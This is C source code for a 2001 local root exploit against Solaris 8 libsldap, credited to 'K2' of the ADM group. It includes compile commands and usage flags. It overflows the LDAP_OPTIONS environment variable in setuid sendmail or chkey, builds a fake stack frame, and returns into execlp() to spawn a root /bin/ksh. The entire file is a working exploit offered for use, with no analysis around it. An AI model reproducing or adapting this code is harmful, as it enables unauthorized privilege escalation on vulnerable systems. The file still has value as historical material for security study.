/* Copyright (c) 2001 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* */
/* Title: Solaris libsldap exploit */
/* Tested under: Solaris 8 */
/* By: K2 */
/* Use: REMEMBER TO COMPILE EXPLOIT LIKE THIS!!!! */
/* sendmail -> gcc -o sol-sldap3 sol-sldap3.c -lresolv -lsocket -lnsl -lldap -lsldap -lc -ldl -lmp -ldoor */
/* chkey -> gcc -o sol-sldap3 sol-sldap3.c -lrpcsvc -lnsl -lmp -lsldap -lc -ldl -lldap -ldoor -lsocket -lresolv */
/* Run: sol-sldap3 [-c|-s] */
/* */
/* */
/* Note: LDAP_OPTIONS= will overflow many binaries */
/* sendmail,[yp,nis]passwd,chkey */
/* example command line args @ bottem... */
/* Thanx: horizon,STR,cheez,ND,ALL !ADM CR3WZ!*#(!@$*(!#@$! */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

#define BUF_LENGTH 1024
#define FRAME 96+32

int main(int argc, char *argv[])
{
char buf[BUF_LENGTH * 2];
char teststring[BUF_LENGTH * 2];
char *env[12];
char fakeframe[512];
char padding[64];
char platform[256];
int alin=0,chkey=0,sendmail=0,c=0;
char exbuf[BUF_LENGTH],sldap_sux[]="LDAP_OPTIONS=";

void *handle;
long execl_addr;

u_char *char_p;
u_long *long_p;
int i;
int pad=30;

while ((c = getopt(argc, argv, "h:cs")) != EOF)
{
switch (c)
{
case 'c':
chkey++;
alin=8;
break;
case 's':
sendmail++;
break;
default:
fprintf(stderr, "use ither -c or -s (chkey|sendmail)\n");
exit(1);
break;
}
}

if(!sendmail && !chkey) {
fprintf(stderr,"must select -c or -s\n");
exit(1);
}

if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}

if ((execl_addr=(long)dlsym(handle,"execlp"))==NULL)
{
fprintf(stderr,"Can't find execl().\n");
exit(1);
}

execl_addr-=4;

if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
!(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
{
fprintf(stderr,"the address of execlp() 0x%x contains a '0'. sorry.\n",execl_addr);
exit(1);
}

printf("found execl() at 0x%lx\n",execl_addr);

char_p=buf;

memset(char_p,'A',BUF_LENGTH);

long_p=(unsigned long *) (char_p+FRAME);

*long_p++=0xdeadbeaf;

/* Here is the saved %i0-%i7 */
*long_p++=0xdeadbeaf;
*long_p++=0xdeadbeaf;
*long_p++=0xdeadbeaf;
*long_p++=0xdeadbeaf;
*long_p++=0xdeadbeaf;
*long_p++=0xdeadbeaf;
if(chkey) {
*long_p++=0xeffffab8; // our fake stack frame sendmail
} else {
*long_p++=0xeffffab0;
}
*long_p++=execl_addr; // we return into execl() in libc
*long_p++=0x41424300; /* some alignment */

/* now we set up our fake stack frame in env */
long_p=(long *)fakeframe;
*long_p++=0xdeadbeef; // we don't care about locals
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;

*long_p++=0xeffffef4; // points to our string to exec
*long_p++=0xeffffef4; // argv[1] is a copy of argv[0]
*long_p++=0x0; // NULL for execl();
*long_p++=0xefffffcc;
*long_p++=0xeffffd18;
*long_p++=0xeffffd18;
*long_p++=0xeffffd18; // this just has to be somewhere it can work with
*long_p++=0x11111111; // doesn't matter b/c we exec
*long_p++=0x0;

/* This gives us some padding to play with */
memset(teststring,'A',BUF_LENGTH);
teststring[BUF_LENGTH-alin]=0;

sysinfo(SI_PLATFORM,platform,256);

pad+=20-strlen(platform);

for (i=0;i<pad;padding[i++]='C')
padding[i]=0;

snprintf(exbuf,BUF_LENGTH,"%s%s",sldap_sux,buf);

env[0]="AAAAAAAAAAAAAAA";
env[1]=(fakeframe);
env[2]=&(fakeframe[40]);
env[3]=&(fakeframe[40]);
env[4]=&(fakeframe[40]);
env[5]=&(fakeframe[44]);
env[6]=teststring;
env[7]="A=/bin/ksh";
env[8]=exbuf;
env[9]=padding;
env[10]=NULL;

if(chkey) {
execle("/usr/bin/chkey","ADM0WNU",NULL,env);
} else {
execle("/usr/lib/sendmail","ADM0WNU",NULL,env);
}
perror("execle failed");
}